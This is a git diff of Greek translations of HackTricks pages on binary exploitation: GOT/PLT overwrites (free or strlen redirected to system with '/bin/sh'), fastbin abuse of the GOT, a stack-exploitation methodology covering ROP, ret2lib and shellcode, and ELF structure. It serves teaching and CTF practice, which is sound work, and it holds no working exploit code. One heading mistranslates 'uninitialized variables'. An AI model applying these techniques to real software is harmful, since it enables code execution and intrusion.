(PLT)** συνεργάζεται στενά με τον GOT και λειτουργεί ως ελατήριο για να χειρίζεται τις κλήσεις σε εξωτερικές συναρτήσεις. Όταν ένα δυαδικό αρχείο **καλεί μια εξωτερική συνάρτηση για πρώτη φορά, ο έλεγχος μεταφέρεται σε μια είσοδο στον PLT που σχετίζεται με αυτή τη συνάρτηση**. Αυτή η είσοδος PLT είναι υπεύθυνη για την κλήση του δυναμικού συνδέσμου για να επιλύσει τη διεύθυνση της συνάρτησης αν δεν έχει ήδη επιλυθεί. Αφού επιλυθεί η διεύθυνση, αποθηκεύεται στον **GOT**. -**Επομένως,** οι καταχωρήσεις GOT χρησιμοποιούνται άμεσα μόλις επιλυθεί η διεύθυνση μιας εξωτερικής συνάρτησης ή μεταβλητής. **Οι καταχωρήσεις PLT χρησιμοποιούνται για να διευκολύνουν την αρχική επίλυση** αυτών των διευθύνσεων μέσω του δυναμικού συνδέσμου. +**Επομένως,** οι είσοδοι του GOT χρησιμοποιούνται άμεσα μόλις επιλυθεί η διεύθυνση μιας εξωτερικής συνάρτησης ή μεταβλητής. **Οι είσοδοι του PLT χρησιμοποιούνται για να διευκολύνουν την αρχική επίλυση** αυτών των διευθύνσεων μέσω του δυναμικού συνδέσμου. ## Λάβετε Εκτέλεση ### Ελέγξτε τον GOT -Αποκτήστε τη διεύθυνση του πίνακα GOT με: **`objdump -s -j .got ./exec`** +Λάβετε τη διεύθυνση του πίνακα GOT με: **`objdump -s -j .got ./exec`** ![](<../../images/image (121).png>) @@ -34,42 +34,43 @@ ### GOT2Exec -Σε ένα δυαδικό αρχείο, ο GOT έχει τις **διευθύνσεις στις συναρτήσεις ή** στην **ενότητα PLT** που θα φορτώσει τη διεύθυνση της συνάρτησης. Ο στόχος αυτής της αυθαίρετης εγγραφής είναι να **επικαλύψει μια καταχώρηση GOT** μιας συνάρτησης που πρόκειται να εκτελεστεί αργότερα **με** τη **διεύθυνση** του PLT της **συνάρτησης `system`** για παράδειγμα. +Σε ένα δυαδικό αρχείο, ο GOT έχει τις **διευθύνσεις στις συναρτήσεις ή** στην **ενότητα PLT** που θα φορτώσει τη διεύθυνση της συνάρτησης. Ο στόχος αυτής της αυθαίρετης εγγραφής είναι να **αντικαταστήσει μια είσοδο GOT** μιας συνάρτησης που πρόκειται να εκτελεστεί αργότερα **με** τη **διεύθυνση** του PLT της **συνάρτησης** **`system`** για παράδειγμα. -Ιδανικά, θα **επικαλύψετε** τον **GOT** μιας **συνάρτησης** που πρόκειται να **καλεστεί με παραμέτρους που ελέγχετε εσείς** (έτσι θα μπορείτε να ελέγξετε τις παραμέτρους που αποστέλλονται στη συνάρτηση system). +Ιδανικά, θα **αντικαταστήσετε** τον **GOT** μιας **συνάρτησης** που **θα κληθεί με παραμέτρους που ελέγχετε εσείς** (έτσι θα μπορείτε να ελέγξετε τις παραμέτρους που αποστέλλονται στη συνάρτηση system). -Αν η **`system`** **δεν χρησιμοποιείται** από το δυαδικό αρχείο, η συνάρτηση system **δεν θα** έχει μια καταχώρηση στον PLT. Σε αυτό το σενάριο, θα **πρέπει πρώτα να διαρρεύσετε τη διεύθυνση** της συνάρτησης `system` και στη συνέχεια να επικαλύψετε τον GOT για να δείξετε σε αυτή τη διεύθυνση. +Αν η **`system`** **δεν χρησιμοποιείται** από το δυαδικό αρχείο, η συνάρτηση system **δεν θα** έχει μια είσοδο στον PLT. Σε αυτό το σενάριο, θα **πρέπει πρώτα να διαρρεύσετε τη διεύθυνση** της συνάρτησης `system` και στη συνέχεια να αντικαταστήσετε τον GOT για να δείξει σε αυτή τη διεύθυνση. Μπορείτε να δείτε τις διευθύνσεις PLT με **`objdump -j .plt -d ./vuln_binary`** -## Εγγραφές GOT της libc +## Είσοδοι GOT της libc -Ο **GOT της libc** συνήθως έχει μεταγλωττιστεί με **μερική RELRO**, καθιστώντας τον έναν καλό στόχο για αυτό, υποθέτοντας ότι είναι δυνατό να προσδιοριστεί η διεύθυνσή του ([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)). +Ο **GOT της libc** συνήθως έχει μεταγλωττιστεί με **μερική RELRO**, καθιστώντας τον έναν ωραίο στόχο για αυτό, υποθέτοντας ότι είναι δυνατό να προσδιοριστεί η διεύθυνσή του ([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)). -Κοινές συναρτήσεις της libc θα καλέσουν **άλλες εσωτερικές συναρτήσεις** των οποίων ο GOT θα μπορούσε να επικαλυφθεί προκειμένου να αποκτηθεί εκτέλεση κώδικα. +Κοινές συναρτήσεις της libc θα καλέσουν **άλλες εσωτερικές συναρτήσεις** των οποίων ο GOT θα μπορούσε να αντικατασταθεί προκειμένου να αποκτηθεί εκτέλεση κώδικα. Βρείτε [**περισσότερες πληροφορίες σχετικά με αυτή την τεχνική εδώ**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries). ### **Free2system** -Στην εκμετάλλευση heap CTFs είναι κοινό να μπορείτε να ελέγξετε το περιεχόμενο των τμημάτων και σε κάποιο σημείο ακόμη και να επικαλυφθεί ο πίνακας GOT. Ένα απλό κόλπο για να αποκτήσετε RCE αν δεν είναι διαθέσιμα gadgets είναι να επικαλύψετε τη διεύθυνση GOT του `free` ώστε να δείχνει στη `system` και να γράψετε μέσα σε ένα τμήμα `"/bin/sh"`. Με αυτόν τον τρόπο, όταν αυτό το τμήμα απελευθερωθεί, θα εκτελέσει `system("/bin/sh")`. +Στην εκμετάλλευση heap CTFs είναι κοινό να μπορείτε να ελέγξετε το περιεχόμενο των τμημάτων και σε κάποιο σημείο ακόμη και να αντικαταστήσετε τον πίνακα GOT. Ένα απλό κόλπο για να αποκτήσετε RCE αν δεν είναι διαθέσιμα gadgets είναι να αντικαταστήσετε τη διεύθυνση GOT του `free` για να δείξει στη `system` και να γράψετε μέσα σε ένα τμήμα `"/bin/sh"`. Με αυτόν τον τρόπο, όταν αυτό το τμήμα απελευθερωθεί, θα εκτελέσει `system("/bin/sh")`. ### **Strlen2system** -Μια άλλη κοινή τεχνική είναι να επικαλύψετε τη διεύθυνση GOT της **`strlen`** ώστε να δείχνει στη **`system`**, έτσι αν αυτή η συνάρτηση κληθεί με είσοδο χρήστη είναι δυνατό να περάσετε τη συμβολοσειρά `"/bin/sh"` και να αποκτήσετε ένα shell. +Μια άλλη κοινή τεχνική είναι να αντικαταστήσετε τη διεύθυνση GOT της **`strlen`** για να δείξει στη **`system`**, έτσι ώστε αν αυτή η συνάρτηση κληθεί με είσοδο χρήστη, είναι δυνατό να περάσετε τη συμβολοσειρά `"/bin/sh"` και να αποκτήσετε ένα shell. -Επιπλέον, αν η `puts` χρησιμοποιείται με είσοδο χρήστη, είναι δυνατό να επικαλύψετε τη διεύθυνση GOT της `strlen` ώστε να δείχνει στη `system` και να περάσετε τη συμβολοσειρά `"/bin/sh"` για να αποκτήσετε ένα shell επειδή **η `puts` θα καλέσει τη `strlen` με την είσοδο χρήστη**. +Επιπλέον, αν η `puts` χρησιμοποιείται με είσοδο χρήστη, είναι δυνατό να αντικαταστήσετε τη διεύθυνση GOT της `strlen` για να δείξει στη `system` και να περάσετε τη συμβολοσειρά `"/bin/sh"` για να αποκτήσετε ένα shell, επειδή **η `puts` θα καλέσει τη `strlen` με την είσοδο χρήστη**. ## **One Gadget** + {{#ref}} ../rop-return-oriented-programing/ret2lib/one-gadget.md {{#endref}} ## **Κατάχρηση του GOT από Heap** -Ένας κοινός τρόπος για να αποκτήσετε RCE από μια ευπάθεια heap είναι να καταχραστείτε ένα fastbin ώστε να είναι δυνατό να προσθέσετε το μέρος του πίνακα GOT στο fast bin, έτσι ώστε κάθε φορά που αυτό το τμήμα κατανεμηθεί θα είναι δυνατό να **επικαλύψετε τον δείκτη μιας συνάρτησης, συνήθως `free`**.\ -Στη συνέχεια, δείχνοντας το `free` στη `system` και απελευθερώνοντας ένα τμήμα όπου γράφτηκε το `/bin/sh\x00` θα εκτελέσει ένα shell. +Ένας κοινός τρόπος για να αποκτήσετε RCE από μια ευπάθεια heap είναι να καταχραστείτε ένα fastbin, έτσι ώστε να είναι δυνατό να προσθέσετε το μέρος του πίνακα GOT στο fast bin, έτσι ώστε κάθε φορά που αυτό το τμήμα κατανέμεται να είναι δυνατό να **αντικαταστήσετε τον δείκτη μιας συνάρτησης, συνήθως `free`**.\ +Στη συνέχεια, δείχνοντας τη `free` στη `system` και απελευθερώνοντας ένα τμήμα όπου γράφτηκε το `/bin/sh\x00` θα εκτελέσει ένα shell. Είναι δυνατό να βρείτε ένα [**παράδειγμα εδώ**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.** @@ -77,6 +78,7 @@ Η προστασία **Full RELRO** προορίζεται να προστατεύει από αυτού του είδους την τεχνική επιλύοντας όλες τις διευθύνσεις των συναρτήσεων όταν ξεκινά το δυαδικό αρχείο και καθιστώντας τον **πίνακα GOT μόνο για ανάγνωση** μετά από αυτό: + {{#ref}} ../common-binary-protections-and-bypasses/relro.md {{#endref}} diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md index e6179857f..dfa7a3fbc 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md @@ -4,7 +4,7 @@ ## Βασικές Πληροφορίες για ELF -Πριν ξεκινήσετε να εκμεταλλεύεστε οτιδήποτε, είναι ενδιαφέρον να κατανοήσετε μέρος της δομής ενός **ELF δυαδικού**: +Πριν ξεκινήσετε να εκμεταλλεύεστε οτιδήποτε, είναι ενδιαφέρον να κατανοήσετε μέρος της δομής ενός **ELF binary**: {{#ref}} elf-tricks.md @@ -16,23 +16,23 @@ elf-tricks.md tools/ {{#endref}} -## Μεθοδολογία Σφάλματος Στοίβας +## Μεθοδολογία Stack Overflow Με τόσες πολλές τεχνικές, είναι καλό να έχετε ένα σχέδιο για το πότε θα είναι χρήσιμη κάθε τεχνική. Σημειώστε ότι οι ίδιες προστασίες θα επηρεάσουν διαφορετικές τεχνικές. Μπορείτε να βρείτε τρόπους να παρακάμψετε τις προστασίες σε κάθε ενότητα προστασίας, αλλά όχι σε αυτή τη μεθοδολογία. ## Έλεγχος της Ροής -Υπάρχουν διάφοροι τρόποι με τους οποίους μπορείτε να ελέγξετε τη ροή ενός προγράμματος: +Υπάρχουν διάφοροι τρόποι για να ελέγξετε τη ροή ενός προγράμματος: -- [**Σφάλματα Στοίβας**](../stack-overflow/index.html) που παραγράφουν τον δείκτη επιστροφής από τη στοίβα ή το EBP -> ESP -> EIP. -- Μπορεί να χρειαστεί να εκμεταλλευτείτε ένα [**Σφάλμα Ακέραιου**](../integer-overflow.md) για να προκαλέσετε το σφάλμα. -- Ή μέσω **Αυθαίρετων Εγγραφών + Γράψτε Τι Πού για Εκτέλεση**. -- [**Μορφοποιημένες συμβολοσειρές**](../format-strings/index.html)**:** Εκμεταλλευτείτε το `printf` για να γράψετε αυθαίρετο περιεχόμενο σε αυθαίρετες διευθύνσεις. -- [**Δεικτοδότηση Πίνακα**](../array-indexing.md): Εκμεταλλευτείτε μια κακώς σχεδιασμένη δεικτοδότηση για να μπορέσετε να ελέγξετε ορισμένους πίνακες και να αποκτήσετε μια αυθαίρετη εγγραφή. -- Μπορεί να χρειαστεί να εκμεταλλευτείτε ένα [**Σφάλμα Ακέραιου**](../integer-overflow.md) για να προκαλέσετε το σφάλμα. -- **bof σε WWW μέσω ROP**: Εκμεταλλευτείτε μια υπερχείλιση buffer για να κατασκευάσετε ένα ROP και να μπορέσετε να αποκτήσετε ένα WWW. +- [**Stack Overflows**](../stack-overflow/index.html) που επαναγράφουν τον δείκτη επιστροφής από το stack ή το EBP -> ESP -> EIP. +- Μπορεί να χρειαστεί να καταχραστείτε ένα [**Integer Overflows**](../integer-overflow.md) για να προκαλέσετε την υπερχείλιση. +- Ή μέσω **Arbitrary Writes + Write What Where to Execution**. +- [**Format strings**](../format-strings/index.html)**:** Καταχραστείτε το `printf` για να γράψετε αυθαίρεο περιεχόμενο σε αυθαίρετες διευθύνσεις. +- [**Array Indexing**](../array-indexing.md): Καταχραστείτε μια κακώς σχεδιασμένη ευρετηρίαση για να μπορέσετε να ελέγξετε ορισμένους πίνακες και να αποκτήσετε μια αυθαίρετη εγγραφή. +- Μπορεί να χρειαστεί να καταχραστείτε ένα [**Integer Overflows**](../integer-overflow.md) για να προκαλέσετε την υπερχείλιση. +- **bof to WWW via ROP**: Καταχραστείτε μια υπερχείλιση buffer για να κατασκευάσετε ένα ROP και να μπορέσετε να αποκτήσετε ένα WWW. -Μπορείτε να βρείτε τις τεχνικές **Γράψτε Τι Πού για Εκτέλεση** σε: +Μπορείτε να βρείτε τις τεχνικές **Write What Where to Execution** σε: {{#ref}} ../arbitrary-write-2-exec/ @@ -40,11 +40,11 @@ tools/ ## Αιώνιοι Βρόχοι -Κάτι που πρέπει να λάβετε υπόψη είναι ότι συνήθως **μόνο μία εκμετάλλευση μιας ευπάθειας μπορεί να μην είναι αρκετή** για να εκτελέσετε μια επιτυχημένη εκμετάλλευση, ειδικά κάποιες προστασίες χρειάζονται να παρακαμφθούν. Επομένως, είναι ενδιαφέρον να συζητήσουμε ορισμένες επιλογές για **να κάνουμε μια μοναδική ευπάθεια εκμεταλλεύσιμη πολλές φορές** στην ίδια εκτέλεση του δυαδικού: +Κάτι που πρέπει να λάβετε υπόψη είναι ότι συνήθως **μόνο μία εκμετάλλευση μιας ευπάθειας μπορεί να μην είναι αρκετή** για να εκτελέσετε μια επιτυχημένη εκμετάλλευση, ειδικά κάποιες προστασίες χρειάζονται να παρακαμφθούν. Επομένως, είναι ενδιαφέρον να συζητήσουμε κάποιες επιλογές για **να κάνουμε μια μοναδική ευπάθεια εκμεταλλεύσιμη πολλές φορές** στην ίδια εκτέλεση του δυαδικού: -- Γράψτε σε μια **αλυσίδα ROP** τη διεύθυνση της **`main` συνάρτησης** ή τη διεύθυνση όπου συμβαίνει η **ευπάθεια**. -- Ελέγχοντας μια κατάλληλη αλυσίδα ROP, μπορεί να είστε σε θέση να εκτελέσετε όλες τις ενέργειες σε αυτήν την αλυσίδα. -- Γράψτε στη **διεύθυνση `exit` στο GOT** (ή σε οποιαδήποτε άλλη συνάρτηση που χρησιμοποιείται από το δυαδικό πριν τελειώσει) τη διεύθυνση για να **επιστρέψετε στην ευπάθεια**. +- Γράψτε σε μια **ROP** αλυσίδα τη διεύθυνση της **`main` συνάρτησης** ή τη διεύθυνση όπου συμβαίνει η **ευπάθεια**. +- Ελέγχοντας μια κατάλληλη αλυσίδα ROP, μπορεί να είστε σε θέση να εκτελέσετε όλες τις ενέργειες σε αυτή την αλυσίδα. +- Γράψτε στη διεύθυνση **`exit` στο GOT** (ή οποιαδήποτε άλλη συνάρτηση που χρησιμοποιείται από το δυαδικό πριν τελειώσει) τη διεύθυνση για να **επιστρέψετε στην ευπάθεια**. - Όπως εξηγήθηκε στο [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** αποθηκεύστε 2 συναρτήσεις εδώ, μία για να καλέσετε ξανά την ευπάθεια και άλλη για να καλέσετε **`__libc_csu_fini`** που θα καλέσει ξανά τη συνάρτηση από το `.fini_array`. ## Στόχοι Εκμετάλλευσης @@ -52,40 +52,40 @@ tools/ ### Στόχος: Κλήση μιας Υπάρχουσας Συνάρτησης - [**ret2win**](#ret2win): Υπάρχει μια συνάρτηση στον κώδικα που πρέπει να καλέσετε (ίσως με κάποιες συγκεκριμένες παραμέτρους) προκειμένου να αποκτήσετε τη σημαία. -- Σε μια **κανονική bof χωρίς** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **και** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) χρειάζεται απλώς να γράψετε τη διεύθυνση στη διεύθυνση επιστροφής που αποθηκεύεται στη στοίβα. +- Σε μια **κανονική bof χωρίς** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **και** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) χρειάζεται απλώς να γράψετε τη διεύθυνση στη διεύθυνση επιστροφής που αποθηκεύεται στο stack. - Σε μια bof με [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), θα χρειαστεί να την παρακάμψετε. - Σε μια bof με [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html), θα χρειαστεί να την παρακάμψετε. -- Εάν χρειαστεί να ορίσετε πολλές παραμέτρους για να καλέσετε σωστά τη συνάρτηση **ret2win**, μπορείτε να χρησιμοποιήσετε: +- Αν χρειαστεί να ορίσετε πολλές παραμέτρους για να καλέσετε σωστά τη συνάρτηση **ret2win**, μπορείτε να χρησιμοποιήσετε: - Μια [**ROP**](#rop-and-ret2...-techniques) **αλυσίδα αν υπάρχουν αρκετά gadgets** για να προετοιμάσετε όλες τις παραμέτρους. - [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) (σε περίπτωση που μπορείτε να καλέσετε αυτή τη syscall) για να ελέγξετε πολλούς καταχωρητές. - Gadgets από [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) και [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) για να ελέγξετε αρκετούς καταχωρητές. -- Μέσω ενός [**Write What Where**](../arbitrary-write-2-exec/index.html) μπορείτε να εκμεταλλευτείτε άλλες ευπάθειες (όχι bof) για να καλέσετε τη συνάρτηση **`win`**. -- [**Ανακατεύθυνση Δεικτών**](../stack-overflow/pointer-redirecting.md): Σε περίπτωση που η στοίβα περιέχει δείκτες σε μια συνάρτηση που πρόκειται να κληθεί ή σε μια συμβολοσειρά που πρόκειται να χρησιμοποιηθεί από μια ενδιαφέρουσα συνάρτηση (system ή printf), είναι δυνατόν να παραγράψετε αυτή τη διεύθυνση. +- Μέσω ενός [**Write What Where**](../arbitrary-write-2-exec/index.html) μπορείτε να καταχραστείτε άλλες ευπάθειες (όχι bof) για να καλέσετε τη συνάρτηση **`win`**. +- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Σε περίπτωση που το stack περιέχει δείκτες σε μια συνάρτηση που πρόκειται να κληθεί ή σε μια συμβολοσειρά που πρόκειται να χρησιμοποιηθεί από μια ενδιαφέρουσα συνάρτηση (system ή printf), είναι δυνατόν να επαναγράψετε αυτή τη διεύθυνση. - [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ή [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) μπορεί να επηρεάσουν τις διευθύνσεις. -- [**Μη αρχικοποιημένες μεταβλητές**](../stack-overflow/uninitialized-variables.md): Ποτέ δεν ξέρετε. +- [**Αρχικοποιημένες μεταβλητές**](../stack-overflow/uninitialized-variables.md): Ποτέ δεν ξέρετε. ### Στόχος: RCE #### Μέσω shellcode, αν το nx είναι απενεργοποιημένο ή αναμειγνύοντας shellcode με ROP: -- [**(Στοίβα) Shellcode**](#stack-shellcode): Αυτό είναι χρήσιμο για να αποθηκεύσετε ένα shellcode στη στοίβα πριν ή μετά την υπερχείλιση του δείκτη επιστροφής και στη συνέχεια **να μεταβείτε σε αυτό** για να το εκτελέσετε: +- [**(Stack) Shellcode**](#stack-shellcode): Αυτό είναι χρήσιμο για να αποθηκεύσετε ένα shellcode στο stack πριν ή μετά την επαναγραφή του δείκτη επιστροφής και στη συνέχεια **να μεταβείτε σε αυτό** για να το εκτελέσετε: - **Σε κάθε περίπτωση, αν υπάρχει ένα** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**,** σε μια κανονική bof θα χρειαστεί να την παρακάμψετε (leak). -- **Χωρίς** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **και** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) είναι δυνατόν να μεταβείτε στη διεύθυνση της στοίβας καθώς δεν θα αλλάξει ποτέ. +- **Χωρίς** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **και** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) είναι δυνατόν να μεταβείτε στη διεύθυνση του stack καθώς δεν θα αλλάξει ποτέ. - **Με** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) θα χρειαστείτε τεχνικές όπως [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) για να μεταβείτε σε αυτό. - **Με** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), θα χρειαστεί να χρησιμοποιήσετε κάποιο [**ROP**](../rop-return-oriented-programing/index.html) **για να καλέσετε `memprotect`** και να κάνετε κάποια σελίδα `rwx`, προκειμένου στη συνέχεια **να αποθηκεύσετε το shellcode εκεί** (καλώντας read για παράδειγμα) και στη συνέχεια να μεταβείτε εκεί. - Αυτό θα αναμείξει το shellcode με μια αλυσίδα ROP. #### Μέσω syscalls -- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): Χρήσιμο για να καλέσετε `execve` για να εκτελέσετε αυθαίρετες εντολές. Πρέπει να είστε σε θέση να βρείτε τους **gadgets για να καλέσετε τη συγκεκριμένη syscall με τις παραμέτρους**. -- Εάν [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ή [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) είναι ενεργοποιημένα, θα χρειαστεί να τα νικήσετε **για να χρησιμοποιήσετε ROP gadgets** από το δυαδικό ή τις βιβλιοθήκες. +- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): Χρήσιμο για να καλέσετε `execve` για να εκτελέσετε αυθαίρετες εντολές. Πρέπει να μπορείτε να βρείτε τους **gadgets για να καλέσετε τη συγκεκριμένη syscall με τις παραμέτρους**. +- Αν [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ή [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) είναι ενεργοποιημένα, θα χρειαστεί να τα νικήσετε **για να χρησιμοποιήσετε ROP gadgets** από το δυαδικό ή τις βιβλιοθήκες. - [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) μπορεί να είναι χρήσιμο για να προετοιμάσετε το **ret2execve**. - Gadgets από [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) και [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) για να ελέγξετε αρκετούς καταχωρητές. #### Μέσω libc - [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): Χρήσιμο για να καλέσετε μια συνάρτηση από μια βιβλιοθήκη (συνήθως από **`libc`**) όπως **`system`** με κάποιες προετοιμασμένες παραμέτρους (π.χ. `'/bin/sh'`). Χρειάζεστε το δυαδικό για να **φορτώσετε τη βιβλιοθήκη** με τη συνάρτηση που θα θέλατε να καλέσετε (συνήθως libc). -- Εάν **είναι στατικά μεταγλωττισμένο και χωρίς** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), η **διεύθυνση** του `system` και του `/bin/sh` δεν θα αλλάξει, οπότε είναι δυνατόν να τις χρησιμοποιήσετε στατικά. +- Αν **είναι στατικά μεταγλωττισμένο και χωρίς** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), η **διεύθυνση** του `system` και του `/bin/sh` δεν θα αλλάξει, οπότε είναι δυνατόν να τις χρησιμοποιήσετε στατικά. - **Χωρίς** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **και γνωρίζοντας την έκδοση libc** που έχει φορτωθεί, η **διεύθυνση** του `system` και του `/bin/sh` δεν θα αλλάξει, οπότε είναι δυνατόν να τις χρησιμοποιήσετε στατικά. - Με [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **αλλά χωρίς** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, γνωρίζοντας την libc και με το δυαδικό να χρησιμοποιεί τη συνάρτηση `system`** είναι δυνατόν να **`ret` στη διεύθυνση του system στο GOT** με τη διεύθυνση του `'/bin/sh'` στην παράμετρο (θα χρειαστεί να το καταλάβετε). - Με [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) αλλά χωρίς [PIE](../common-binary-protections-and-bypasses/pie/index.html), γνωρίζοντας την libc και **χωρίς το δυαδικό να χρησιμοποιεί τη `system`** : @@ -98,14 +98,14 @@ tools/ #### Μέσω EBP/RBP -- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Ελέγξτε το ESP για να ελέγξετε το RET μέσω του αποθηκευμένου EBP στη στοίβα. -- Χρήσιμο για **off-by-one** υπερχείλιση στοίβας. -- Χρήσιμο ως εναλλακτικός τρόπος για να ελέγξετε το EIP ενώ εκμεταλλεύεστε το EIP για να κατασκευάσετε το payload στη μνήμη και στη συνέχεια να μεταβείτε σε αυτό μέσω EBP. +- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Ελέγξτε το ESP για να ελέγξετε το RET μέσω του αποθηκευμένου EBP στο stack. +- Χρήσιμο για **off-by-one** υπερχείλιση stack. +- Χρήσιμο ως εναλλακτικός τρόπος για να ελέγξετε το EIP ενώ καταχράστε το EIP για να κατασκευάσετε το payload στη μνήμη και στη συνέχεια να μεταβείτε σε αυτό μέσω EBP. #### Διάφορα -- [**Ανακατεύθυνση Δεικτών**](../stack-overflow/pointer-redirecting.md): Σε περίπτωση που η στοίβα περιέχει δείκτες σε μια συνάρτηση που πρόκειται να κληθεί ή σε μια συμβολοσειρά που πρόκειται να χρησιμοποιηθεί από μια ενδιαφέρουσα συνάρτηση (system ή printf), είναι δυνατόν να παραγράψετε αυτή τη διεύθυνση. +- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Σε περίπτωση που το stack περιέχει δείκτες σε μια συνάρτηση που πρόκειται να κληθεί ή σε μια συμβολοσειρά που πρόκειται να χρησιμοποιηθεί από μια ενδιαφέρουσα συνάρτηση (system ή printf), είναι δυνατόν να επαναγράψετε αυτή τη διεύθυνση. - [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ή [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) μπορεί να επηρεάσουν τις διευθύνσεις. -- [**Μη αρχικοποιημένες μεταβλητές**](../stack-overflow/uninitialized-variables.md): Ποτέ δεν ξέρετε. +- [**Αρχικοποιημένες μεταβλητές**](../stack-overflow/uninitialized-variables.md): Ποτέ δεν ξέρετε. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md index f86593816..067ef5e95 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md @@ -78,7 +78,7 @@ Segment Sections... Περιέχει τη ρύθμιση της άμυνας κατά της εκτέλεσης από τη στοίβα. Αν είναι ενεργοποιημένο, το δυαδικό αρχείο δεν θα μπορεί να εκτελεί κώδικα από τη στοίβα. -- Ελέγξτε με `readelf -l ./bin | grep GNU_STACK`. Για να το αλλάξετε αναγκαστικά κατά τη διάρκεια δοκιμών μπορείτε να χρησιμοποιήσετε `execstack -s|-c ./bin`. +- Ελέγξτε με `readelf -l ./bin | grep GNU_STACK`. Για να το αλλάξετε αναγκαστικά κατά τη διάρκεια δοκιμών, μπορείτε να χρησιμοποιήσετε `execstack -s|-c ./bin`. ### GNU_RELRO @@ -96,7 +96,7 @@ Segment Sections... ### TLS -Ορίζει έναν πίνακα εισόδων TLS, ο οποίος αποθηκεύει πληροφορίες σχετικά με τις μεταβλητές τοπικής νήματος. +Ορίζει έναν πίνακα TLS, ο οποίος αποθηκεύει πληροφορίες σχετικά με τις τοπικές μεταβλητές νήματος. ## Επικεφαλίδες Τμημάτων @@ -212,7 +212,7 @@ Num: Value Size Type Bind Vis Ndx Name #### GNU Symbol Versioning (dynsym/dynstr/gnu.version) -Η σύγχρονη glibc χρησιμοποιεί εκδόσεις συμβόλων. Θα δείτε καταχωρήσεις στο `.gnu.version` και `.gnu.version_r` και ονόματα συμβόλων όπως `strlen@GLIBC_2.17`. Ο δυναμικός συνδέτης μπορεί να απαιτεί μια συγκεκριμένη έκδοση κατά την επίλυση ενός συμβόλου. Όταν δημιουργείτε χειροκίνητες ανακατανομές (π.χ. ret2dlresolve) πρέπει να παρέχετε τον σωστό δείκτη έκδοσης, αλλιώς η επίλυση αποτυγχάνει. +Η σύγχρονη glibc χρησιμοποιεί εκδόσεις συμβόλων. Θα δείτε εισόδους στα `.gnu.version` και `.gnu.version_r` και ονόματα συμβόλων όπως `strlen@GLIBC_2.17`. Ο δυναμικός συνδέτης μπορεί να απαιτεί μια συγκεκριμένη έκδοση κατά την επίλυση ενός συμβόλου. Όταν δημιουργείτε χειροκίνητες ανακατανομές (π.χ. ret2dlresolve) πρέπει να παρέχετε τον σωστό δείκτη έκδοσης, αλλιώς η επίλυση αποτυγχάνει. ## Δυναμική Ενότητα ``` @@ -249,28 +249,28 @@ Tag Type Name/Value 0x000000006ffffff9 (RELACOUNT) 15 0x0000000000000000 (NULL) 0x0 ``` -Ο φάκελος NEEDED υποδεικνύει ότι το πρόγραμμα **χρειάζεται να φορτώσει τη συγκεκριμένη βιβλιοθήκη** για να συνεχίσει. Ο φάκελος NEEDED ολοκληρώνεται μόλις η κοινή **βιβλιοθήκη είναι πλήρως λειτουργική και έτοιμη** προς χρήση. +Ο κατάλογος NEEDED υποδεικνύει ότι το πρόγραμμα **χρειάζεται να φορτώσει τη συγκεκριμένη βιβλιοθήκη** για να συνεχίσει. Ο 